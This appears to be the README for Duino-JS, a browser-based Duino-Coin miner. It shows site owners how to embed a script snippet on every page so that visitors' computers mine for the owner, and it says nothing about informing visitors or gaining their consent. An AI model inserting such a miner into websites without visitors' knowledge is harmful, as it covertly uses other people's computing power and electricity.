A JavaScript miner to mine Duino-Coin, which you can easily implement in your site.
I am developing my own site since a few months, and I wanted to make some money of it, but because you have to give a credit card number and your address to the ad provider (usually Google), I searched for alternatives.
I then found out that you can let your viewers mine crypto coins, so I did some research, but found only 3 results:
So I stopped searching...
28-05-2021: I stumbled across this video on YouTube, there were some comments about Duino-Coin, so I decided to take a look at their website.
I found out that I could mine crypto on my arduino's, and that there were some projects which could let you mine on your computer, but written in Go or C. I tried to compile those to WebAssembly, but that didn't work, so I decided to write one myself in JavaScript, to use on my future website, or yours...
To use the miner, download duino-js.min.js, worker.min.js and hashes.min.js from the latest release, and place them in the root of your site, then add this to the end of your html file in every file you want to monetize:
<script src="duino-js.min.js"></script> <!--imports the Duino-JS miner-->
<script>
username = `Hoiboy19`; //put your username here (e.g. revox, ericddm, snehaislove or Hoiboy19), the default is Hoiboy19.
rigid = `Duino-JS`; //If you want to change the rig ID, you can change this. If you want to keep using "Duino-JS", you can remove this line.
threads = userThreads; //Set the amount of threads to use here, check out https://github.com/sys-256/Duino-JS for more options. The default is 1.
startMiner(); //starts the miner
</script>
NOTE: You need a web server like Apache or NGINX to run it, because Web Workers don't work on local files.
The "threads" variable is pretty customizable, so here are some examples:
This project is licensed under the MIT license, so you can use it in whatever you want, even commercial projects. You only have to credit me with sys-256.